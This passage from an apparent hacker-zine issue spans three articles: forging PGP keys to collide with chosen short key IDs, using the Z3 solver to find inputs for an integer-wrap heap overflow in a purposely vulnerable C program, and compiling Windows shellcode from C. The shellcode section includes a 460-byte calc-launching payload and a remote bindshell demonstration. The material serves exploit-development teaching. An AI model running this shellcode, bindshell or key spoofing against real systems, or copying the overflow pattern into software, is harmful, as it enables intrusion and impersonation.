| runtime on EC2 | 6m | 12m | 20m | 26m | 40m |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑

| runtime on GPU | 1s | 2s | 3s | 4s | 6s |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑

‑‑‑‑‑[ 3.3 ‑ The patch

Now we have to patch the key. patch.py, incredibly, does exactly so.

First, export the secret key for which you had the match

$ gpg ‑‑no‑default‑keyring ‑‑secret‑keyring ./secpool.gpg \ ‑‑keyring ./pubpool.gpg ‑‑export‑secret‑keys OLDKEYID > privkey.gpg

Then run patch.py on it, passing it the "RESULT timestamp" from crash.py:

$ python3 patch.py privkey.gpg TIMESTAMP > resultkey.gpg

Finally, force gpg to import the key even if the (invalid) bounding signature has been stripped:

$ gpg ‑‑allow‑non‑selfsigned‑uid ‑‑import resultkey.gpg

And restore the bounding signature by creating a new uid:

$ gpg ‑‑edit‑key NEWKEYID

gpg> adduid

gpg> uid 1

gpg> deluid

gpg> trust

gpg> check

gpg> save

Note: don't create the new uid as an exact copy of the old, otherwise deluid will delete both of them from the secret key ‑ it's a GnuPG bug.

Done! You now have your new shiny PGP key with a personal key ID. Export it to your main GnuPG env or whatever.

‑‑‑[ 4 ‑ Conclusion

Have fun, there are still many interesting uncatched key IDs out there: 0x11111111, 0xabaddeed, 0xaaaaaaaa, 0xg00d1dea, 0x27182818, 0x14142135... Please just leave 0x31415926, 0x42424242 and 0x13371337 for me ;) and don't (publicly) duplicate other people's keys.

Finally, I know what you are searching for: the option is ‑‑keyid‑format long ;)

‑‑‑[ 5 ‑ References

[1] "PGP CPU time wasta (never refer to pgp key using 32bit key‑id)" http://seclists.org/fulldisclosure/2010/May/120

[2] "Short key IDs are bad news (with OpenPGP and GNU Privacy Guard)" http://www.asheesh.org/note/debian/short‑key‑ids‑are‑bad‑news.html

[3] "OpenPGP Message Format" ‑ Callas, et al ‑ November 2007 https://tools.ietf.org/html/rfc4880

[4] "Cryptanalysis of RSA with Small Prime Difference" ‑ B de Weger ‑ 2002 http://www.enseignement.polytechnique.fr/profs/informatique/Francois.Morain

/Master1/Crypto/projects/Weger02.pdf

[5] Complementary event ‑ Wikipedia https://en.wikipedia.org/w/index.php?title=Complementary_event&oldid=545752

375#Example_of_the_utility_of_this_concept

[6] y = 1 ‑ ((2 ^ 32 ‑ 1) / 2 ^ 32) ^ (60 * 60 * 24 * 365 * a * x) with a from 1 to (2013 ‑ 1970) with x from 1 to 200 ‑ Wolfram|Alpha http://wolfr.am/YxKsTU

[7] haveged ‑ A simple entropy daemon http://www.issihosts.com/haveged/

[8] oclHashcat‑plus ‑ advanced password recovery | Performance section http://hashcat.net/oclhashcat‑plus/

‑‑‑[ 6 ‑ Code

begin 644 gpg‑crash.tar.gz M'XL(`#0D8E$``^U<^U/;2+;>7^._HI>I#1(1CN47!$*V@"03:O.@@%0RQ;(N end

|=[ 0x05 ]=‑‑‑=[ How to cheat at maths ‑ chown ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ How I Cheat at Maths ‑ Z3 101 ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by chown ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Introduction

Welcome reader. I am writing this small text because it has recently come to my attention that a lot of people significantly smarter than me are intimidated by the mention of Z3 and solvers in general, and avoid using them. I think it is a common mentality that Z3 requires some kind of maths degree as a prerequisite for its use, however for me it is the complete opposite.

Hopefully by the end of this small guide you will see that Z3 can provide a trivial platform with which you can avoid doing most of the complex math work which is associated with exploit development and reverse engineering.

‑‑[ What is Z3?

Z3 is an SMT (satisfiability modulo theories) solver written by Microsoft Research. It is cross platform, (Windows/Linux/Mac OS X) and free (MIT License).

Internally at Microsoft it is used for program analysis and verification.

Z3 exposes either a C or Python based API, with a rich set of features. In this paper we will only scratch the surface of the Python API. I feel this is the simplest way to jump right in and instantly get value from Z3 with almost no learning curve required. There is a lot of documentation on the web if you wish to venture deeper into the functionality of Z3.

‑‑[ Installing Z3

Installing Z3 is a simple process, and as i mentioned, can be done on most operating systems. The source code to Z3 is available from the Z3 Github page (2).

The build instructions for Mac OS X are simply as follows:

CXX=clang++ CC=clang python scripts/mk_make.py

cd build

make

sudo make install

For Ubuntu it is even simpler:

sudo apt‑get install python‑z3

Once this is done, the Python module can be used by simply using "import z3" from within Python.

‑‑[ Introduction to Z3

To whet your appetite, we will first explore a simple maths example unrelated to exploit development. The following small puzzle was being passed around social media sites:

A+B = 240

C+D = 500

D‑B+C = 455

A+C = 215

What answer for D?

While this can easily be solved with math, it is much easier to make Z3 do all the work for us.

The first step in our solver is to import z3 and declare some variables for use in the solver. The following code creates 4 Int() type variables. A,B,C,D and initiates the solver class.

Note: The string passed to each variable is used to label the results when the model is printed at the end.

#!/usr/bin/env python

from z3 import *

# Declare our variables

A = Int('A')

B = Int('B')

C = Int('C')

D = Int('D')

s = Solver()

Now that we have our variables declared, we must define some simple constraints for the solver. Basically we need to take each line in the above problem and convert it to an expression using our variables.

# Add the constraints

s.add(A + B == 240) # A+B = 240

s.add(C + D == 500) # C+D = 500

s.add(D‑B+C == 455) # D‑B+C = 455

s.add(A+C == 215) # A+C = 215

The final steps are to use the check() function to solve the problem and print the model at the end.

print "[+] Solving..."

s.check()

ttt = s.model()

print "[MODEL‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑]

print ttt

print "[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Running this code provides the following output:

$ python facebook.py

[+] Solving...

[MODEL‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑]

[C = 20, B = 45, D = 480, A = 195]

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As you can see, it only took a couple of minutes to code a solver for this problem and we got the answer D=480. Congratulations, if you followed this far you can now cheat at facebook and impress your friends!!!

I have included the sample code for this (facebook.py) in the appendix.

‑‑[ Z3 and Exploit dev

As I'm sure you can now imagine there are a billion small math problems like this in exploit development. Some typical examples for me are:

* Solving input values to control allocation/copy sizes.

* Root causing a fuzz crash, one constraint for each cmp instruction, then control register contents as needed.

* Finding input values which constrain to certain criteria.

* etc.

To make this more clear, I have written a small vulnerable program with which we can look at the exploitation process and how Z3 can help us.

‑‑‑‑[ Vulnerable example

The following example code has a clearly visible integer wrap vulnerability. We can obviously utilize this to cause a heap overflow into the chunk pointed to by sstr.

Have a quick read over the code below, and afterwards I will explain the challenges involved in solving this problem.

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <string.h>

4

5 #define HEADER "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ASCII

DIAGRAM ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n"

6 #define HDRLEN strlen(HEADER)

7

8 char *copyandupdate(char *dst,char *src, unsigned int size) 9 {

10 memcpy(dst,src,size);

11 dst += size;

12 return dst;

13 }

14

15 int main(int argc, char *argv[])

16 {

17 unsigned int width,height,i;

18 char *sstr,*fstr;

19

20 if(argc != 3) {

21 printf("usage: %s <width> <height>\n",argv[0]); 22 exit(‑1);

23 }

24

25 width = strtoul(argv[1],NULL,0);

26 height = strtoul(argv[2],NULL,0);

27

28

29 printf("[+] Using width: %u\n",width);

30 printf("[+] Using height: %u\n",height);

31

32 if(width < 5) {

33 printf("error: Width too small\n");

34 exit(1);

35 }

36

37 if((width * height + HDRLEN) > 0x3fffffff) { 38 printf("error: Table too large (%u) \n",width * height);

39 exit(1);

40 }

41

42 printf("[+] Allocating buffer sized: %u\n", width * height + HDRLEN);

43 sstr = fstr = malloc(width * height + HDRLEN); 44 if(!fstr) {

45 printf("error: Out of Memory!\n");

46 exit(1);

47 }

48

49 printf("[+] Writing header to buffer (%u bytes)\n",HDRLEN); 50 fstr = copyandupdate(fstr,HEADER,HDRLEN);

51 for(i = 0 ; i < height ; i++ )

52 {

53 char *m = malloc(width);

54 if(!m) {

55 printf("error: Out of Memory!\n");

56 break;

57 }

58 memset(m,'X',width);

59 m[width‑3] = '\r';

60 m[width‑2] = '\n';

61 m[width‑1] = '\x00';

62 fstr = copyandupdate(fstr,m,width‑1);

63 free(m);

64 }

65

66 printf(sstr);

67

68 }

69

As I'm sure you saw, this code takes a width and height parameter from the command line and creates an ascii table containing the appropriate number of X's.

Here is some sample output from a successful run:

$ ./asciigrid 30 10

[+] Using width: 30

[+] Using height: 10

[+] Allocating buffer sized: 413

[+] Writing header to buffer (113 bytes)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ASCII DIAGRAM

]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXX

The major vulnerability in this source code occurs between lines 37 and 43 in the source. As you can see below, the code takes the width and height parameters and checks to make sure that the product of width * height plus the length of the header is < 0x40000000. Next it allocates a buffer based on these values. However, if width and height is large enough to create an integer wrap, the resulting buffer allocation will not correlate to the width and height values themselves, creating potential for a heap overflow.

37 if((width * height + HDRLEN) > 0x3fffffff) { 38 printf("error: Table too large (%u) \n",width * height);

39 exit(1);

40 }

41

42 printf("[+] Allocating buffer sized: %u\n", width * height + HDRLEN);

43 sstr = fstr = malloc(width * height + HDRLEN);

Once this allocation is performed, the program begins by writing the HEADER field into the buffer. Depending on the size of the buffer this will either be inside or outside the allocated buffer. Due to the wrapping allocation size calculation, there is no guarantee at this stage that a large enough allocation was performed to house the HEADER field.

Finally at line 51, a copy loop is performed. For each of the lines in height an allocation of "width" bytes is performed. This is then populated with a line of X's, and copied into the buffer. Obviously if our values are large enough to wrap, this loop will end up writing all the way out of bounds of our buffer, but it also has no way to stop copying, therefore it will write all the way until it hits an unmapped page, causing program termination.

51 for(i = 0 ; i < height ; i++ )

52 {

53 char *m = malloc(width);

54 if(!m) {

55 printf("error: Out of Memory!\n"); 56 break;

57 }

58 memset(m,'X',width);

59 m[width‑3] = '\r';

60 m[width‑2] = '\n';

61 m[width‑1] = '\x00';

62 fstr = copyandupdate(fstr,m,width‑1); 63 free(m);

64 }

Luckily for us (;)) there does exist a clean way out of this loop. If the malloc allocation of width bytes fails, the loop is exited, and the program continues.

This means, if we can wrap the allocation while having a large enough width to force the allocation to fail, we are able to perform our overflow (copying the header out of bounds) without program termination occurring. (This gives us an opportunity to utilize our overflow). The question is, what input values will allow all this to happen?

‑‑‑[ Solving

As you can imagine, the next step in our process is to write a simple solver to calculate these values for us. Once again the process is very simple

We begin by importing our library:

1 #!/usr/bin/env python

2

3 from z3 import *

4

Next we need to declare the variables used by our sample program. The first variables which we need are the width and height variables. In the previous example we used Int() type variables. However, in this case, we use a BitVec() type. The main difference between these two types in Z3 is the ability to perform binary operations on the BitVec. Also we are able to specify the exact size of the variable, this lets us more easily simulate integer wraps. In this example I am targeting a 32‑bit platform, therefore I use the size 32 for each variable. We also need a variable to hold the size of the header, this is not strictly necessary but provides a more clear output in my opinion.

5 width = BitVec('width', 32)

6 height = BitVec('height', 32)

7 headersize = BitVec('headersize',32)

8

Next, I create a convenience variable allocsize. This is used to hold the result of the calculation. Instead of this variable we could simple write width * height + headersize each time, however if we did this, the size of the allocation would not be visible in the printed model. Since we care about this size, it makes sense to use a convenience variable.

9 allocsize = BitVec('allocsize',32)

10

11 s = Solver()

12

Now that we've declared our variables and initialized the Solver the next step is to add constraints to our model. The first constraint in this program is simply declaring the headersize value. This is done with the following line:

13 s.add(headersize == 113)

The next constraint we can add, is to make sure that width by itself is enough to cause the allocation to fail, an easy way to do this is to make sure it is above 0xf0000000, since this would be large enough for a 32‑bit process to fail. You may notice that we used a function "UGT" for this, rather than the > operator. The reason for this is that the > operator by default will perform a signed comparison. UGT (unsigned greater than) will provide us with the unsigned functionality we need. As you can imagine the counter function to this ULT() will perform an unsigned less than comparison. Reading the help for the module will show many other useful functions similar to this.

14 s.add(UGT(width,0xf0000000)) # For malloc fail

Obviously, we need a constraint to calculate allocsize. This is simply a case of performing the same calculation directly from the source code.

15 s.add(allocsize == width * height + headersize)

We then make sure that the allocsize is less than the headersize, so that an overflow occurs.

16 s.add(ULT(allocsize & 0xffffffff,headersize))

17

Finally, we solve and print the model...

20 print "[+] Solving..."

21 s.check()

22 ttt = s.model()

23 print "[MODEL‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑]

24 print ttt

25 print "[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If we run this solver, the following values are generated:

$ python solver.py

[+] Solving...

[MODEL‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑]

[height = 2318056819,

width = 4192030789,

allocsize = 112,

headersize = 113]

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Inputting this into the target program confirms our technique, an allocation of 112 bytes is performed and then a header (113) bytes is written to it. Finally an allocation fails, and the loop is exited, then the buffer is printf'ed. (in a vulnerable way... ;) )

$ ./asciigrid 4192030789 2318056819

[+] Using width: 4192030789

[+] Using height: 2318056819

[+] Allocating buffer sized: 112

[+] Writing header to buffer (113 bytes) asciigrid(98654,0xa33e5000) malloc: *** mach_vm_map(size=4192034816) failed (error code=3)

*** error: can't allocate region

*** set a breakpoint in malloc_error_break to debug

error: Out of Memory!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ASCII DIAGRAM

]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finding a way to leverage this overflow is outside of the scope of this paper, however I have personally leveraged a very similar situation in a real life application.

‑‑‑[ Adding constraints to enumerate possibilities?

In the above example, the solver gave us a situation where the buffer was sized 1 byte smaller than the copy, however, in real life, most allocators naturally align sizes before returning a chunk to the program. This means that in the above example, no overflow would actually take place. Also with the above situation, we often want to enumerate the QUANTUM sizes which we can utilize on the heap, so we can look for overflow targets etc.

Z3 is not really designed for this, solving all permutations, and is more designed for solving a single one. However, we can easily cheat by adding additional constraints to the program. A simple example of this, since we know that a buffer size of 112 is possible, we simply add a constraint making sure that allocsize is less than that.

s.add(ULT(allocsize & 0xffffffff,112))

Solving again, we can see that an allocsize of 98 is possible. Since this is code we can easily wrap this in a loop to enumerate all possibilities.

[+] Solving...

[MODEL‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑]

[allocsize = 98,

height = 732446463,

width = 4167741711,

headersize = 113]

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Conclusion

Hopefully this small guide is useful to you. I find myself using these small solvers constantly during exploit dev. Some other areas that these help with are, during auditing ‑ to confirm findings, during exploitation to calculate values on the fly. I'm sure once you start playing with this library you will do the same.

‑‑[ References

1. https://z3.codeplex.com/ ‑ Z3 Home Page

2. https://github.com/Z3Prover/z3 ‑ Z3 github page

‑‑[ Appendix: Source code

begin 644 z3_math_src.tgz

M'XL(`&"K858``^U7^T_;2!#FUUC*_S"`>K&)$_R(@T0(4DBX'A*T$H7K232J end

|=[ 0x06 ]=‑‑‑=[ Shellcode the better way, or how to just use your compiler ‑ fishstiqz ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑=[ Shellcode the better way, or how to just use your compiler ]‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by fishstiqz ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Introduction

Back in the prehistoric days of memory corruption bugs and exploitation, exploit developers used our primitive tools to construct rudimentary payloads in assembly language. Those days are long past. In this small paper I will investigate some methods for anyone still stuck in the good ol' days of yore using their assembler.

‑‑[ Prerequisites

This writeup uses the MinGW compiler to demonstrate generating shellcode from C for running on Windows systems. The same concepts should apply to other compilers (such as MSVC) with some tweaking. The python scripts also use the 'pefile' library from erocarrera in order to extract the compiled code.

To quickly get started compiling on a linux system, do something like:

$ sudo apt‑get install gcc‑mingw‑w64

$ pip install pefile

‑‑[ Concepts

There is nothing special about shellcode as opposed to any other compiled code. A shellcode is simply some piece of machine code that typically exhibits the following properties:

* Position‑independence

* Entry point at first byte

* Bootstrap for subsequent execution / further access

Position‑independence is basically the only real hurdle faced when building shellcode with a C compiler. Strings and imported functions will need to be handled inline. All code will need to placed in one section and will need to be ordered appropriately in order to ensure everything is appropriately extracted and relative jumps are correct.

This paper will not deal with creating shellcodes that are intended to bypass filters. In the extremely rare event that a filter is necessary (when is the last time you actually needed one in your browser exploit?) it is best to write an encoder and decoder.

‑‑[ Inlining strings

Inlining strings is quite easily accomplished with inline assembly as in the following macro:

#define INLINE_STR(name, str) \

const char * name; \

asm( \

"call 1f\n" \

".asciz \"" str "\"\n" \

"1:\n" \

"pop %0\n" \

: "=r" (name) \

);

This is how it would be used:

INLINE_STR(kernel32, "kernel32");

PVOID pKernel32 = scGetModuleBase(kernel32);

Unfortunately MinGW doesn't have a way to inline a unicode string nor does MSVC have inline assembly for x64 so a different method must be employed when these are being used.

One potential way to handle unicode strings would be to generate an inline sequence of .db bytes as a pre‑compile step. For MSVC, writing strings one character at a time to a stack buffer also works but is quite ugly.

‑‑[ Ordering functions

The Makefile included with the source code makes use of the ‑fno‑toplevel‑reorder switch which causes code to be generated in the same order they appear in the source files. The Makefile also uses ‑falign‑functions=1 to reduce padding between functions and generate smaller code.

Each function is also marked with an attribute forcing them to be placed into a custom section.

#define SCFUNC __attribute__((section("sccode")))

This custom section makes extraction of the final code very simple as all shellcode functions will be placed into the "sccode" section and ordered appropriately.

In MSVC an order file can be specified with /ORDER to achieve the same effect.

‑‑[ Example shellcode

The following is a quick GetProcAddress implementation in C which will be used for the examples here.

SCFUNC PVOID scGetModuleBase(const char *moduleName)

{

PPEB pPeb;

PLIST_ENTRY head, entry;

PLDR_DATA_TABLE_ENTRY module;

#if defined(_M_IX86)

pPeb = (PPEB) __readfsdword(0x30);

#elif defined(_M_X64)

pPeb = (PPEB) __readgsqword(0x60);

#endif

head = &pPeb‑>Ldr‑>InLoadOrderModuleList; entry = head‑>Flink;

while (entry != head)

{

module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);

if (scW2Anicmp(module‑>BaseDllName.Buffer, moduleName, scStrlen (moduleName)) == 0)

return module‑>DllBase;

entry = entry‑>Flink;

}

return NULL;

}

SCFUNC PVOID scGetProcAddr(PVOID modBase, const char *exportName) {

LPVOID pFunc = NULL;

PBYTE pMod = (PBYTE)modBase;

PIMAGE_NT_HEADERS pNt = GET_NT_HEADERS(pMod); PIMAGE_DATA_DIRECTORY pDir = &GET_DIRECTORY(pNt, IMAGE_DIRECTORY_ENTRY_EXPORT); PIMAGE_EXPORT_DIRECTORY pExportDir;

WORD *pOrdinal;

DWORD *pName;

DWORD *pFuncs;

DWORD i;

// get the export directory

pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pMod + pDir‑> VirtualAddress);

// sanity check the export directory

if (pDir‑>Size == 0 || pExportDir‑>NumberOfFunctions == 0 || pExportDir‑>NumberOfNames == 0)

return NULL;

// iterate the exported names

pName = (DWORD *) (pMod + pExportDir‑>AddressOfNames); pOrdinal = (WORD *) (pMod + pExportDir‑>AddressOfNameOrdinals);

// hi EMET!

pFuncs = (DWORD *) (pMod + pExportDir‑>AddressOfFunctions);

for (i = 0; i < pExportDir‑>NumberOfNames; i++, pName++, pOrdinal++)

{

if (scStrcmp(exportName, (const char *)(pMod + *pName)) == 0) {

// found the name, get the function

pFunc = pMod + pFuncs[*pOrdinal]; break;

}

}

return pFunc;

}

Here you can see a quick calc‑pop demonstration using the above code:

#include <stdio.h>

#include <windows.h>

#include "common.h"

#include "pe.h"

typedef UINT (WINAPI * WinExec_t)(LPCSTR lpCmdLine, UINT uCmdShow);

SCFUNC void scMain(void)

{

INLINE_STR(kernel32, "kernel32"); INLINE_STR(winexec, "WinExec"); INLINE_STR(calc, "calc");

PVOID pKernel32 = scGetModuleBase(kernel32); WinExec_t pWinExec = (WinExec_t) scGetProcAddr(pKernel32, winexec); if (pWinExec != NULL)

pWinExec(calc, 0);

}

int main(int argc, char* argv[])

{

scMain();

return 0;

}

Thats all there is to the code. Notice that all shellcode functions are marked with the SCFUNC attribute and all strings are inlined.

Now to compile and extract the shellcode into a nice header:

$ i686‑w64‑mingw32‑gcc ‑fno‑toplevel‑reorder ‑falign‑functions=1 \ ‑Os ‑o runcalc.exe runcalc.c common.c pe.c

$ python extract.py runcalc.exe

// 460 bytes

unsigned char shellcode[460] = { 0x55,0x89,0xE5,0x56,0x53,0x83,0xEC,0x10,0xE8,0x09,0x00,0x00, 0x00,0x6B,0x65,0x72,0x6E,0x65,0x6C,0x33,0x32,0x00,0x58,0x89, 0x04,0x24,0xE8,0xD1,0x00,0x00,0x00,0xE8,0x08,0x00,0x00,0x00, 0x57,0x69,0x6E,0x45,0x78,0x65,0x63,0x00,0x5E,0x89,0x74,0x24, 0x04,0xE8,0x05,0x00,0x00,0x00,0x63,0x61,0x6C,0x63,0x00,0x5B, 0x89,0x04,0x24,0xE8,0xFD,0x00,0x00,0x00,0x85,0xC0,0x74,0x0F, 0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x1C,0x24,0xFF, 0xD0,0x50,0x50,0x8D,0x65,0xF8,0x5B,0x5E,0x5D,0xC3,0x90,0x90, 0x55,0x31,0xC0,0x89,0xE5,0x57,0x56,0x53,0x51,0x83,0x7D,0x10, 0x00,0x74,0x44,0x31,0xD2,0x8B,0x45,0x08,0x66,0x8B,0x0C,0x50, 0x8B,0x45,0x0C,0x8D,0x79,0xBF,0x0F,0xBE,0x1C,0x10,0x0F,0xB7, 0xC1,0x66,0x83,0xFF,0x19,0x8D,0x70,0x20,0x0F,0x46,0xC6,0x89, 0x45,0xF0,0x8D,0x73,0xBF,0x89,0xF0,0x3C,0x19,0x8B,0x45,0xF0, 0x8D,0x7B,0x20,0x0F,0x46,0xDF,0x29,0xD8,0x75,0x0D,0x66,0x85, 0xC9,0x74,0x08,0x42,0x39,0x55,0x10,0x75,0xC0,0x31,0xC0,0x5A, 0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x31,0xD2,0x89,0xE5,0x53,0x8B, 0x45,0x08,0x8B,0x5D,0x0C,0x8A,0x0C,0x10,0x0F,0xBE,0x1C,0x13, 0x42,0x0F,0xBE,0xC1,0x29,0xD8,0x75,0x04,0x84,0xC9,0x75,0xE7, 0x5B,0x5D,0xC3,0x55,0x89,0xE5,0x8B,0x55,0x08,0x89,0xD0,0x80, 0x38,0x00,0x74,0x03,0x40,0xEB,0xF8,0x29,0xD0,0x5D,0xC3,0x90, 0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x75,0x08, 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x58,0x0C, 0x8D,0x78,0x0C,0x39,0xFB,0x74,0x28,0x89,0x34,0x24,0xE8,0xC4, 0xFF,0xFF,0xFF,0x8B,0x53,0x30,0x89,0x74,0x24,0x04,0x89,0x14, 0x24,0x89,0x44,0x24,0x08,0xE8,0x36,0xFF,0xFF,0xFF,0x85,0xC0, 0x75,0x05,0x8B,0x43,0x18,0xEB,0x06,0x8B,0x1B,0xEB,0xD4,0x31, 0xC0,0x83,0xC4,0x1C,0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x89,0xE5, 0x57,0x56,0x53,0x83,0xEC,0x2C,0x8B,0x5D,0x08,0x8B,0x43,0x3C, 0x01,0xD8,0x8B,0x70,0x78,0x01,0xDE,0x83,0x78,0x7C,0x00,0x75, 0x04,0x31,0xC0,0xEB,0x63,0x83,0x7E,0x14,0x00,0x74,0xF6,0x83, 0x7E,0x18,0x00,0x74,0xF0,0x8B,0x46,0x20,0x31,0xD2,0x8B,0x4E, 0x1C,0x01,0xD8,0x89,0x45,0xE4,0x8B,0x46,0x24,0x01,0xD8,0x89, 0x45,0xE0,0x8D,0x3C,0x12,0x03,0x7D,0xE0,0x3B,0x56,0x18,0x73, 0xD0,0x89,0x4D,0xD8,0x8B,0x4D,0xE4,0x89,0x55,0xDC,0x8B,0x04, 0x91,0x01,0xD8,0x89,0x44,0x24,0x04,0x8B,0x45,0x0C,0x89,0x04, 0x24,0xE8,0x0F,0xFF,0xFF,0xFF,0x8B,0x55,0xDC,0x8B,0x4D,0xD8, 0x85,0xC0,0x75,0x0D,0x0F,0xB7,0x07,0x8D,0x04,0x83,0x03,0x1C, 0x08,0x89,0xD8,0xEB,0x03,0x42,0xEB,0xBE,0x83,0xC4,0x2C,0x5B, 0x5E,0x5F,0x5D,0xC3

};

And now to demonstrate running the test harness:

$ python extract.py ‑‑testharness runcalc.exe > runcalc_testharness.c $ i686‑w64‑mingw32‑gcc ‑fno‑toplevel‑reorder ‑falign‑functions=1 \ ‑Os ‑o runcalc_testharness.exe runcalc_testharness.c

On the windows machine:

C:\phrack\src>runcalc_testharness.exe

jumping to shellcode @ 00020000

done

C:\phrack\src>tasklist | findstr calc

calc.exe 5720 Console 1 14,244 K

‑‑[ Bindshell example

The following is a demonstration of a quick windows bindshell. Consult the source code for the implementation.

On the linux compiler:

$ i686‑w64‑mingw32‑gcc ‑fno‑toplevel‑reorder ‑falign‑functions=1 \ ‑Os ‑o bindshell.exe bindshell.c common.c pe.c $ python extract.py ‑‑testharness bindshell.exe > \ bindshell_testharness.c

$ i686‑w64‑mingw32‑gcc ‑fno‑toplevel‑reorder ‑falign‑functions=1 \ ‑Os ‑o bindshell_testharness.exe bindshell_testharness.c

On the windows machine:

C:\phrack\src>bindshell_testharness.exe

jumping to shellcode @ 00020000

Attacker:

$ telnet 192.168.204.144 3333

Trying 192.168.204.144...

Connected to 192.168.204.144.

Escape character is '^]'.

Microsoft Windows [Version 10.0.10240]

(c) 2015 Microsoft Corporation. All rights reserved.

C:\phrack\src>ver

ver

Microsoft Windows [Version 10.0.10240]

C:\phrack\src>whoami

whoami

win10‑vm\user

C:\phrack\src>exit

exit

Connection closed by foreign host.

‑‑[ Conclusion

Hopefully this humble paper showed that its super easy to generate shellcode with a C compiler and that you don't have to use an assembler. Obviously assembly language development and understanding are still essential skills for a modern exploit developer. However, using the techniques presented in this paper should limit the times when hand‑written assembly code is required to a few specific cases.

‑‑[ References

1. http://www.mingw.org/

2. https://github.com/erocarrera/pefile

3. https://gcc.gnu.org/onlinedocs/gcc/Optimize‑Options.html

4. https://msdn.microsoft.com/en‑us/library/00kh39zz.aspx

‑‑[ Appendix: Source code

begin 644 src.tar.gz

